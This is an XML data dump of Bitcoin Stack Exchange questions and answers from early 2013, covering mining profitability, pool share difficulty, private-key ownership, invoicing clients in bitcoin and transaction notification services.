  <row Id="8064" PostTypeId="2" ParentId="8062" CreationDate="2013-03-02T04:54:23.560" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Prepaid access (Moneypak, UKash, gift cards, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Offshore bank accounts&lt;/li&gt;&#xA;&lt;li&gt;Visa/Mastercard debit cards, and to a lesser degree credit cards&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-02T04:54:23.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8065" PostTypeId="2" ParentId="8059" CreationDate="2013-03-02T05:25:20.427" Score="4" Body="&lt;p&gt;It's a chicken vs egg problem. If only one person had ever mined, or that one person only enable a small number of people to mine, Bitcoin would have likely never grown at the rate it has. We'd call it a centralized system, and it'd be little different from any other centralized currency contrived in the past several decades. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its electronic transmission and security would be its primary benefits, but its users would still have to &lt;em&gt;trust&lt;/em&gt; the miners to make their transactions official. This establishes a finite number of points of failure, all with an incentive to control mining. To me, this is not a very fair system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given your dichotomy, I'd point toward &quot;release of mining code solely to get bitcoins to have any value in the collective at all&quot;. A thing can only gain popularity organically if it is exposed to the widest possible audience and those who choose to participate feel fully empowered. Distributed systems are pretty good ego boosters: everyone is equal, everyone can run a full node, everyone can mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the benefit of early adopters, this is true of just about any system. Those who learn something before it's popular, especially in technology, are the most likely to benefit from it as it gains popularity. This is called invention; this is called emerging technology. I personally like the title &quot;Bitcoin consultant&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-02T05:25:20.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8066" PostTypeId="2" ParentId="8059" CreationDate="2013-03-02T05:30:14.910" Score="7" Body="&lt;p&gt;Bitcoin is a decentralized digital currency.  It is meant to be resistant to corruption and external control.  That is the reason it was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin achieves this only through the approach where consensus of the ledger is achieved by performing work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is vulnerable -- this consensus mechanism can be blocked by anyone with 51% of the mining network capacity.   To prevent anyone from having that ability to block, the mining network needs to be large enough so that there it is vastly economically unfeasible for an attacker to disrupt the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to achieve this requirement of being protected with a ginormous amount of hashing capacity, the mining process is subsidized.  This subsidy comes from the issuance of new currency. This subsidy helps to bootstrap the currency by putting it into many hands who might be willing to spend the funds for goods and services which draws merchants and service providers into the bitcoin economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the combined goals of bootstrapping the bitcoin economy and ensuring that mining capacity is more than sufficient to dissuade any 51% attack are two reasons to release mining code and letting mining revenues be distributed to those willing to participate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because bitcoins aren't always circulating, there must be some willing to hold bitcoins as a store of value at all times.  Again, Bitcoin has value only because it is a decentralized digital currency that is resistant to external control.  If it doesn't have that then it is simply an online ledger -- no different than what PayPal provides, or what your online banking system provides.  There are plenty of other &lt;a href=&quot;http://www.cyclos.org/&quot;&gt;open source ledger software options&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only from the protocol being open (and trusted as being open by having the software being open as well) would an investor that is willing to hold bitcoins be assured that the currency truly is decentralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin to be valued, the source code had to be released.   If the source code were never released, Bitcoin would never have achieved any value.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-02T05:36:57.113" LastActivityDate="2013-03-02T05:36:57.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8067" PostTypeId="2" ParentId="8062" CreationDate="2013-03-02T05:32:34.503" Score="2" Body="&lt;p&gt;Cash. It competes with cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these things (prepaid accounts, debit cards, bank accounts, money transmitters, etc.) are sophistications built on top of cash in order to facilitate the transfer of cash from one entity to another. It's not easy to carry cash, nor is it safe to keep all of your cash in one place. It's not feasible to give cash to someone thousands of miles away. The aforementioned services make cash more, well, bearable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin rolls all of these services into one. The only one still possibly useful is a bank, which is merely a trusted, secure storage for a few bytes of data: a private key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit cards and loans are a different concept. Those who have give to those who do not with the assumption that what was given will be returned, and then some. Bitcoin actually may make it more difficult for these kind of firms to operate because of its finite nature. That is, it cannot be created on the record books like fiat currency can. &lt;a href=&quot;https://en.bitcoin.it/wiki/Fractional_Reserve_Banking_and_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Fractional reserve banking within the Bitcoin model is possible&lt;/a&gt;, but there's disagreement on how it may be implemented.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-02T05:32:34.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8070" PostTypeId="1" CreationDate="2013-03-02T17:01:21.673" Score="3" ViewCount="4265" Body="&lt;p&gt;On the Your Wallet starting page of Blockchain.info, there is a frame with the text&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is your Bitcoin address&#xA;*bitcoin address here*&#xA;Share it with anyone and they can sent you money.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(or something like that, I don't exactly know what it is in English, I am using it in Dutch)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 addresses specified, one with 0.01306288 BTC and one with zero BTC. The one with 0.01306288 BTC is shown in the frame on the start page, but I would rather have the other one.&#xA;Is there a way to make the other address show up there?&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2014-04-03T19:07:43.497" Title="How to make a Bitcoin address your main one in Blockchain.info?" Tags="|blockchain.info|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8071" PostTypeId="1" CreationDate="2013-03-02T17:59:57.977" Score="4" ViewCount="1629" Body="&lt;p&gt;If only my private key were stolen, could it be used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without knowledge of the corresponding public key or address, can one spend BTC with only the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can derive the public key from a private key, but if an address has never been spent from  and change is never returned to the same public key, the public key will remain unknown, thus how could one exploit knowledge of a private key alone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  yes, i now realize this is a pretty bad question.  i now know that with just a private key, an attacker can calculate the public key and Bitcoin address and thus spend any stored coins.&lt;/p&gt;&#xA;" OwnerUserId="3125" LastEditorUserId="3125" LastEditDate="2013-03-16T15:55:17.540" LastActivityDate="2013-12-07T20:41:53.507" Title="Use Stolen Private Key?" Tags="|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8072" PostTypeId="2" ParentId="8071" CreationDate="2013-03-02T18:56:39.130" Score="4" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The private key is used to send &lt;strong&gt;from&lt;/strong&gt; an address.&lt;/li&gt;&#xA;&lt;li&gt;The public key is used to send &lt;strong&gt;to&lt;/strong&gt; an address.&lt;/li&gt;&#xA;&lt;li&gt;The public key is generated from the private key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you have the private key you have full control over an address.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-03-02T19:02:21.690" LastActivityDate="2013-03-02T19:02:21.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8074" PostTypeId="2" ParentId="7954" CreationDate="2013-03-02T21:17:21.450" Score="7" Body="&lt;p&gt;From Jed, one of the principal architects:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Vinnie&lt;/strong&gt;:  ...What's the OpenCoin business model?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Jed&lt;/strong&gt;:  ...we hold xrp and hopefully they gain value&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2013-03-02T21:17:21.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8075" PostTypeId="2" ParentId="8028" CreationDate="2013-03-02T21:26:25.323" Score="5" Body="&lt;p&gt;As I understand your question it has two parts. One is how to calculate an approximation of someone's hash rate externally, like from a server or proxy that can see their mining results but not their actual hashing process or hash rate. The other part is how to calculate the probability that a block would be found after a given amount of work, or a given amount of time and hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will write the formulas as javascript code, with X to the power of Y written as Math.pow(X, Y). You could run them in your browser by typing them into the address bar like for example &lt;code&gt;javascript:alert((Math.pow(2, 32) * 27939) / 600)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Approximation of hash rate:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an arbitrary target, count one share at difficulty X the same as X shares at difficulty 1. That's how pools deal with variable difficulty.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hashrate = (Math.pow(2, 32) * &lt;em&gt;shares&lt;/em&gt;) / &lt;em&gt;seconds-elapsed&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An average of one share (at difficulty 1) is found for every Math.pow(2,32) hashes. This is only an average and that is why the hash rates displayed at pool web sites are only approximations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Block solution probability:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The probability of one or more blocks being generated from a given number of shares (proofs of work):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;prob = 1 - Math.pow(1 - 1.0 / &lt;em&gt;difficulty&lt;/em&gt;, &lt;em&gt;shares&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's from 0 to 1. Multiply by 100 if you want a percentage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the difficulty is 4367876 and someone has been mining with a hashrate of 200 Ghps for 10 minutes. That's 200 * Math.pow(10, 9) hashes per second for 600 seconds, with an average of one share (at difficulty 1) found for every Math.pow(2,32) hashes. This gives us the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;shares = (200 * Math.pow(10, 9) * 600) / Math.pow(2,32) = 27939&#xA;  shares&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;prob = 1 - Math.pow(1 - 1.0 / difficulty, shares) = 1 - Math.pow(1 -&#xA;  1.0 / 4367876, 27939) = 0.00637...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words the chance that someone would make one or more blocks with the given hash rate and difficulty within 10 minutes is about 0.64%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if you see how many shares (proofs of work) they send in, of course you don't first calculate their hash rate only to calculate it back into a number of shares. Just plug it into the formula.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-02T21:26:25.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8076" PostTypeId="2" ParentId="7573" CreationDate="2013-03-03T00:08:33.113" Score="9" Body="&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;: There are now more traditional price / volume charts: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ripplecharts.com/market/BTC%3aBitstamp/XRP&quot; rel=&quot;nofollow&quot;&gt;BTC:Bitstamp/XRP at RippleCharts.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ripplecharts.com/market/USD%3aBitstamp/XRP&quot; rel=&quot;nofollow&quot;&gt;USD:Bitstamp/XRP at RippleCharts.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href=&quot;http://xrp.webr3.org/&quot; rel=&quot;nofollow&quot;&gt;Ripple Live Orderbook and Charts&lt;/a&gt; by webr3 provides various bitstamp style charts and orderbooks for various XRP/xxx pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The &lt;a href=&quot;http://rippledb.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple Ledger Explorer&lt;/a&gt; by melvster shows a graph of Ripple vs Bitcoin prices.  It also shows recent ledger activity.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Early on there was also a manually-updated list at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=148185.0&quot; rel=&quot;nofollow&quot;&gt;Ripple: XRP Price Tracker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The discussion there had a nice example of what an order book snapshot from the ripple client looks like, with headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The #ripple-market irc channel at freenode.net also shows real-time trades via a &quot;Streaming exchange feed for notable #ripple gateways&quot; all trades.  You can see it via&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://webchat.freenode.net/&quot; rel=&quot;nofollow&quot;&gt;freenode Web IRC&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A trade example looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; ripplebot&amp;gt; TRD bitstamp 730.698114 @ 48,713.2076 BTC rwdLV79WzXmFuzP2cBwTG6mtXcfSnCjtoF #142&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume that means that the price for that transaction was 48,713 XRD per BTC, and I'm guessing that 730 XRD were traded at that price via bitstamp, but I haven't seen good documentation yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example ASK report:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ASK bitstamp 347.152555 @ 41,854.251463 BTC rwdLV79WzXmFuzP2cBwTG6mtXcfSnCjtoF #143&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code for ripplebot can be found at&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-watch&quot; rel=&quot;nofollow&quot;&gt;rippleFoundation/ripple-watch · GitHub&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2013-10-03T19:35:35.633" LastActivityDate="2013-10-03T19:35:35.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8077" PostTypeId="1" CreationDate="2013-03-03T01:34:08.257" Score="5" ViewCount="245" Body="&lt;p&gt;How do I receive Bitcoins from my clients who owe me money? I do not have a web site. Currently I send my clients an invoice. They discharge the invoice by sending me a check drawn on their bank checking account. Do I have to send them a Bitcoin &quot;key&quot; or account number of some kind?&lt;/p&gt;&#xA;" OwnerUserId="3129" LastActivityDate="2016-06-16T11:30:11.797" Title="How do I receive Bitcoins from my clients who owe me money?" Tags="|receiving|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8078" PostTypeId="2" ParentId="8077" CreationDate="2013-03-03T02:54:11.450" Score="4" Body="&lt;p&gt;You send them a bitcoin address along with the invoice. Use a different address each time, so that you can tell who paid you.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-03T02:54:11.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8080" PostTypeId="1" AcceptedAnswerId="8088" CreationDate="2013-03-03T06:52:25.193" Score="15" ViewCount="14481" Body="&lt;p&gt;There was at least one site that did this I remember.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2021-02-02T10:14:36.420" Title="Where can I get email notifications on any transactions to/from an address I do not control?" Tags="|transactions|" AnswerCount="10" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8081" PostTypeId="2" ParentId="4052" CreationDate="2013-03-03T08:50:23.407" Score="5" Body="&lt;p&gt;I have sent Butterfly several emails inquiring about delivery dates, and etc after pre-ordering the Jalapeno.  I have yet to get a response back now 4 weeks later, I have sent them another request...this time asking for a refund.  I think they should of put a lot more info out there about how long it would take to get our orders.  I don't want my Miner next year, I want it while I will be able to actually a decent profit out of it.&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2013-03-03T08:50:23.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8082" PostTypeId="2" ParentId="8080" CreationDate="2013-03-03T09:22:37.890" Score="0" Body="&lt;p&gt;You can add that address to &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;blockchain.info/wallet&lt;/a&gt;, as watch-only if you prefer, and enable email notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(didn't try that myself with watch-only addresses, so this might fail)&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="153" LastEditDate="2013-03-03T19:57:07.460" LastActivityDate="2013-03-03T19:57:07.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8084" PostTypeId="1" AcceptedAnswerId="8154" CreationDate="2013-03-03T11:54:24.797" Score="5" ViewCount="4953" Body="&lt;p&gt;So as an exercise I want to build a mining client, just because I'm curious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that I'm supposed to create a hash, but once I have the hash, where do I send it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I submit it back to the block chain?&lt;/p&gt;&#xA;" OwnerUserId="2820" LastEditorUserId="5406" LastEditDate="2016-03-31T17:05:22.657" LastActivityDate="2016-03-31T17:05:22.657" Title="I built a miner, got a hash block, now what? Where do I send it?" Tags="|blockchain|json-rpc|block|mining-software|relay|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8085" PostTypeId="2" ParentId="8080" CreationDate="2013-03-03T12:47:43.983" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://bitping.net&quot; rel=&quot;nofollow&quot;&gt;http://bitping.net&lt;/a&gt; will send you email notifications on any transactions to/from a bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="3133" LastActivityDate="2013-03-03T12:47:43.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8086" PostTypeId="2" ParentId="8062" CreationDate="2013-03-03T12:57:13.483" Score="1" Body="&lt;p&gt;It competes with a whole bunch of things, but the most important ones imo are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;national currencies (USD, AUD etc)&lt;/li&gt;&#xA;&lt;li&gt;electronic payment methods (paypal, credit cards etc)&lt;/li&gt;&#xA;&lt;li&gt;commodities (gold, silver etc)&lt;/li&gt;&#xA;&lt;li&gt;banks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3133" LastActivityDate="2013-03-03T12:57:13.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8087" PostTypeId="2" ParentId="2553" CreationDate="2013-03-03T17:58:04.947" Score="1" Body="&lt;p&gt;Why can't fees be calculated based on current network activity, so that people wanting cheaper fees will send money at quieter times? This will mean a more even volume of transactions which will enable fewer miners and so increasing their revenue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about block size is this the same thing, I still don't totally understand the mechanics of it but it would seem logical to reduce waste in the network, so zero fee payers might only get there transactions processed at quieter times.&lt;/p&gt;&#xA;" OwnerUserId="3134" LastEditorUserId="1409" LastEditDate="2013-03-03T19:46:10.547" LastActivityDate="2013-03-03T19:46:10.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8088" PostTypeId="2" ParentId="8080" CreationDate="2013-03-03T19:58:39.783" Score="8" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Blockchain.info/wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.Blockchain.info/wallet&lt;/a&gt; &amp;lt;-- add address as watch-only.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitnotify.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitnotify.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinwhoswho.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinwhoswho.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://txnotify.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://txnotify.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="114020" LastEditDate="2021-02-02T10:14:36.420" LastActivityDate="2021-02-02T10:14:36.420" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8089" PostTypeId="1" CreationDate="2013-03-03T21:08:47.490" Score="4" ViewCount="35357" Body="&lt;p&gt;I am running two 7970's and am adding a 3rd here in a few days (Mainly a Gaming Rig)but mining when I am not gaming.  I was wondering though does the minimum share difficulty that BTCguild sends to my miners make a difference?  Currently it is just the default of 1 but can go all the way up to 256 share difficulty. What is going to yield the best results for my hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still quite new so any other advise is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-03-04T02:37:30.490" Title="Does the Share Difficulty given to each miner matter?" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8090" PostTypeId="1" CreationDate="2013-03-03T21:38:36.803" Score="1" ViewCount="33842" Body="&lt;p&gt;From a previous business, I have 5 Dell Poweredge 2850 Servers, each with 2 Intel Xeon 3.4 Ghz processors. I also have 2 2950's, a huge 7150, and few other smaller 1 U Dell servers. All but 2 of those machines are just sitting there in the rack and not even turned on right now. I have seen CPU miners and know that these are not optimal, but have considering making 5 mining servers out of the 2850's to just see what happens. My power bill increases around $400 a month when running all of these servers/switches/UPS/Firewall/etc. (more in the summer than winter of course). I have all the infrastructure and hardware to setup these machines, but I can't seem to find any data on potential earnings with Xeon processors to see if it would be worth my time or the extra power to build miners out of these machines. I understand that with the difficulty going up the earning will continue to decrease, but if anyone could provide some rough potential numbers or suggestions for further research, it would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3140" LastEditorUserId="5406" LastEditDate="2016-02-21T10:10:44.330" LastActivityDate="2016-02-21T10:10:44.330" Title="Bitcoin Mining with Poweredge Servers?" Tags="|mining-profitability|cpu-mining|" AnswerCount="3" CommentCount="3" ClosedDate="2015-11-07T18:17:36.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="8091" PostTypeId="2" ParentId="8089" CreationDate="2013-03-03T22:27:59.700" Score="2" Body="&lt;p&gt;Share difficulty is important to prove your computer is doing the work of mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would set a higher difficulty on powerful hardware (ASICs) so that they don't need to request a new share (GetBlockTemplate, GetWork, Stratum, etc) each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that your hardware is more active in the mining process, and less active waiting on the network or pool to give you work to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you don't want to wait too long for new work (too high difficulty) because that means you will miss out on new transactions (that pay fees), or worst case you will miss out on the block entirely and the work is wasted.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-03T22:27:59.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8092" PostTypeId="1" CreationDate="2013-03-03T22:33:19.530" Score="2" ViewCount="1033" Body="&lt;p&gt;For discussion purposes, suppose I have an ASIC miner, several GPUs and a CPU botnet all mining with different difficulties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a share is returned to the pool, at what difficulty threshold should I consider multiplying the per-share value for that user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if the ASIC miner returns a share that is substantially closer to the target than what a difficulty of 1 would return, should I treat that as any more valuable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I incentivising correct behavior in a client?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-02-21T10:11:52.483" LastActivityDate="2016-02-21T10:11:52.483" Title="If each miner has a different share difficulty in a PPS pool, how should I calculate and reward the relative effort of each?" Tags="|mining-pools|difficulty|mining-pool-shares|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8093" PostTypeId="2" ParentId="8092" CreationDate="2013-03-03T22:50:05.703" Score="5" Body="&lt;p&gt;You should count each share as valuable as the difficulty of the &lt;strong&gt;pre-determined&lt;/strong&gt; target for that miner. If you count the actual value of the hash it found itself, either the math won't work, or you'll introduce massive variance instead of reducing it (which a pool is intended to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you choose a particular share difficulty D, you are restricting the set of valid hashes to a set that is D times smaller than the set of valid hashes for difficulty 1. Given that each of such results is D times less likely to be found, it is fair to count it as D shares of difficulty. However, each hash is either good or not good, and each has a fixed probability of being good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to use the actual hash value obtained to calculate share value, most hashes won't be valid, but those that do will introduce extra variance: some (unlikely) ones will result in a very high score, and some won't. There is no need for this: just giving each hash the same score is just as well a way of measuring their hash rate, which is what this is all about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can't let a miner choose its share difficulty after finding one: that would allow them to cheat.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-03-03T22:50:05.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8094" PostTypeId="2" ParentId="8090" CreationDate="2013-03-03T23:30:30.983" Score="1" Body="&lt;p&gt;Two or three years ago, yes, you might've mined some BitCoins with this equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's all obsolete, compared with ASIC-based equipment that outclasses it by 3 or 4 orders of magnitude in hash-specific processing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could run all your current equipment for a month and probably not even mine a single coin. &lt;/p&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2013-03-03T23:30:30.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8095" PostTypeId="2" ParentId="8077" CreationDate="2013-03-04T00:41:58.477" Score="1" Body="&lt;p&gt;There are do-it-yourself methods (e.g., generate addresses using the bulk mode of &lt;a href=&quot;http://BitAddress.org&quot; rel=&quot;nofollow&quot;&gt;BitAddress.org&lt;/a&gt; and send those out as payment addresses) but that requires a fair amount of tracking and manual effort.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can instead use a payment processor to send out invoices.  For instance, &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/email_invoices&quot; rel=&quot;nofollow&quot;&gt;Coinbase offers e-mail invoices&lt;/a&gt; as well as &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/payment_pages&quot; rel=&quot;nofollow&quot;&gt;payment pages&lt;/a&gt;, and BitPay offers a similar &lt;a href=&quot;https://bitpay.com/embedded-bitcoin-invoice&quot; rel=&quot;nofollow&quot;&gt;payment page&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-04T00:41:58.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8096" PostTypeId="1" CreationDate="2013-03-04T01:08:08.407" Score="1" ViewCount="70" Body="&lt;p&gt;Is any data available on the amount of bitcoin used in actual commerce, as opposed to investing in bitcoins, during specified time periods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm wondering whether the recent increases in dollars-to-bitcoins ration are correlated with amounts used in business via things like BitPay or otherwise.)&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2013-03-04T03:36:50.663" Title="Correlating BTC price changes with recent use in commerce" Tags="|commerce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8097" PostTypeId="1" AcceptedAnswerId="8179" CreationDate="2013-03-04T01:12:33.063" Score="4" ViewCount="1966" Body="&lt;p&gt;I randomly encountered this address on blockchain.info: &lt;a href=&quot;https://blockchain.info/address/1CzpppydnGN5dQN7iBnZbmm5RXreu7hrHW&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1CzpppydnGN5dQN7iBnZbmm5RXreu7hrHW&lt;/a&gt; and at the top a message appears presumably describing the owner of the address. I have not seen this before. Is this just a feature of blockchain.info or is it a feature generally available in the Bitcoin system? And if so, how does this feature work?&lt;/p&gt;&#xA;" OwnerUserId="3142" LastActivityDate="2013-03-06T16:34:09.553" Title="How does blockchain.info associate a message with an address?" Tags="|address|blockchain.info|message|" AnswerCount="2" CommentCount="2" ClosedDate="2013-03-19T21:07:09.363" ContentLicense="CC BY-SA 3.0" />
